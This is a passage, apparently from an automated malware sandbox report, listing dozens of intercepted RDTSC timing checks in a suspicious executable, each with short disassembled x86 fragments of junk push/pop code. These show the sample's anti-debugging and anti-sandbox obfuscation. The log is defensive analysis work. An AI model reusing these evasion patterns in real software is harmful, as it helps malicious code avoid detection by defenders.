0x00000049 inc edi 0x0000004a push edi 0x0000004b ret 0x0000004c pop edi 0x0000004d ret 0x0000004e add dword ptr [ebp+122D324Ch], edx 0x00000054 xchg eax, esi 0x00000055 jl 00007FA938DCFC42h 0x0000005b jc 00007FA938DCFC3Ch 0x00000061 jl 00007FA938DCFC36h 0x00000067 push eax 0x00000068 pushad 0x00000069 jng 00007FA938DCFC3Ch 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3367FF second address: 336803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 336803 second address: 33681D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA938DCFC46h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 33681D second address: 336823 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 336823 second address: 336827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 336827 second address: 336865 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov ebx, dword ptr [ebp+122D36FDh] 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007FA9388D7B78h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b mov di, cx 0x0000002e push 00000000h 0x00000030 sub edi, dword ptr [ebp+122D36B9h] 0x00000036 xchg eax, esi 0x00000037 pushad 0x00000038 push esi 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 33E5D3 second address: 33E5D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 33E844 second address: 33E852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FA9388D7B94h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 33E852 second address: 33E856 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 33E856 second address: 33E85C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 344E73 second address: 344E78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 344E78 second address: 344E98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FA9388D7B76h 0x00000009 jmp 00007FA9388D7B7Fh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 34598B second address: 34599F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA938DCFC40h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 34599F second address: 3459A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 345AE8 second address: 345AED instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 33060A second address: 330615 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FA9388D7B76h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3306BC second address: 3306C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 333908 second address: 333912 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA9388D7B7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 32E1D6 second address: 32E1E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA938DCFC3Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 32E1E4 second address: 32E1EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 32E1EA second address: 32E1FC instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA938DCFC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 32E1FC second address: 32E200 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 34C46F second address: 34C484 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007FA938DCFC3Ah 0x00000011 push esi 0x00000012 pop esi 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 34C484 second address: 34C495 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA9388D7B7Ah 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2D35B0 second address: 2D35D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FA938DCFC36h 0x0000000a jmp 00007FA938DCFC46h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 2D35D0 second address: 2D35D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 34B113 second address: 34B133 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA938DCFC3Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007FA938DCFC42h 0x00000010 js 00007FA938DCFC3Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 34B72C second address: 34B737 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 34B995 second address: 34B999 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 34B999 second address: 34B9A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 34BB19 second address: 34BB34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA938DCFC47h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 34BB34 second address: 34BB3D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 34BB3D second address: 34BB4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 js 00007FA938DCFC36h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 34BB4F second address: 34BB55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 34BB55 second address: 34BB80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA938DCFC45h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c popad 0x0000000d jg 00007FA938DCFC5Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 jo 00007FA938DCFC36h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 34BB80 second address: 34BB99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FA9388D7B7Eh 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 34C149 second address: 34C170 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA938DCFC49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007FA938DCFC6Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 34C170 second address: 34C176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 34C176 second address: 34C17A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 34C17A second address: 34C192 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9388D7B84h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 33491E second address: 334922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 334922 second address: 334942 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FA9388D7B80h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 34C304 second address: 34C30A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 350435 second address: 350447 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9388D7B7Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 350447 second address: 350450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 350450 second address: 350456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 350456 second address: 350467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007FA938DCFC36h 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 350467 second address: 35046D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 35046D second address: 350482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FA938DCFC3Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3505AC second address: 3505B2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3505B2 second address: 3505B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 350A23 second address: 350A28 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 350E5C second address: 350E9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA938DCFC49h 0x00000009 jmp 00007FA938DCFC48h 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 350E9B second address: 350EA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 351425 second address: 351432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 jnc 00007FA938DCFC36h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 3568C8 second address: 3568DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FA9388D7B7Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31B38C second address: 31B392 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31B392 second address: 31B396 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31B396 second address: 31B3B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b lea eax, dword ptr [ebp+1248614Ch] 0x00000011 or di, 7CAAh 0x00000016 nop 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b ja 00007FA938DCFC36h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31B3B7 second address: 31B3C1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA9388D7B76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31B3C1 second address: 31B3C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31B4CE second address: 31B4D3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31B7FB second address: 31B7FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31B7FF second address: 31B819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA9388D7B7Ah 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push edi 0x00000013 pop edi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31BA69 second address: 31BA70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31BC5B second address: 31BC77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA9388D7B88h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31BC77 second address: 31BC7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31BE5C second address: 31BEB0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA9388D7B7Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007FA9388D7B78h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 mov edi, 08F7477Fh 0x0000002a add edx, dword ptr [ebp+122D36E1h] 0x00000030 push 00000004h 0x00000032 mov di, bx 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jns 00007FA9388D7B7Ch 0x0000003e rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31C157 second address: 31C15D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31C15D second address: 31C163 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31C163 second address: 31C167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31C4A3 second address: 31C4DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FA9388D7B76h 0x0000000a popad 0x0000000b pop edi 0x0000000c mov dword ptr [esp], eax 0x0000000f mov edx, dword ptr [ebp+122D38E1h] 0x00000015 lea eax, dword ptr [ebp+12486190h] 0x0000001b mov cl, 37h 0x0000001d mov edi, dword ptr [ebp+122D373Dh] 0x00000023 nop 0x00000024 jmp 00007FA9388D7B80h 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d pushad 0x0000002e popad 0x0000002f pop eax 0x00000030 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31C4DE second address: 31C51F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FA938DCFC45h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov dword ptr [ebp+122D2836h], ebx 0x00000012 lea eax, dword ptr [ebp+1248614Ch] 0x00000018 mov edx, dword ptr [ebp+124586A0h] 0x0000001e nop 0x0000001f push eax 0x00000020 push edx 0x00000021 jne 00007FA938DCFC40h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31C51F second address: 31C525 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 31C525 second address: 31C529 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 355D7B second address: 355D87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 push edi 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 355D87 second address: 355D8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 356150 second address: 356156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 356156 second address: 356183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FA938DCFC3Eh 0x0000000c jmp 00007FA938DCFC48h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 356183 second address: 356189 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 356320 second address: 356342 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA938DCFC49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 356342 second address: 356365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA9388D7B86h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007FA9388D7B76h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 356365 second address: 356369 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 35BF54 second address: 35BF5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 35BF5D second address: 35BF9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FA938DCFC40h 0x0000000b popad 0x0000000c jo 00007FA938DCFC42h 0x00000012 jg 00007FA938DCFC36h 0x00000018 jnc 00007FA938DCFC36h 0x0000001e popad 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FA938DCFC40h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 35BF9C second address: 35BFA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 35BFA0 second address: 35BFA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 35BFA4 second address: 35BFD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007FA9388D7B7Ch 0x0000000c jmp 00007FA9388D7B85h 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 jng 00007FA9388D7B76h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 35BFD7 second address: 35BFDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 35C2B4 second address: 35C2BE instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA9388D7B76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 35C430 second address: 35C44D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA938DCFC48h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 35C44D second address: 35C459 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FA9388D7B76h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
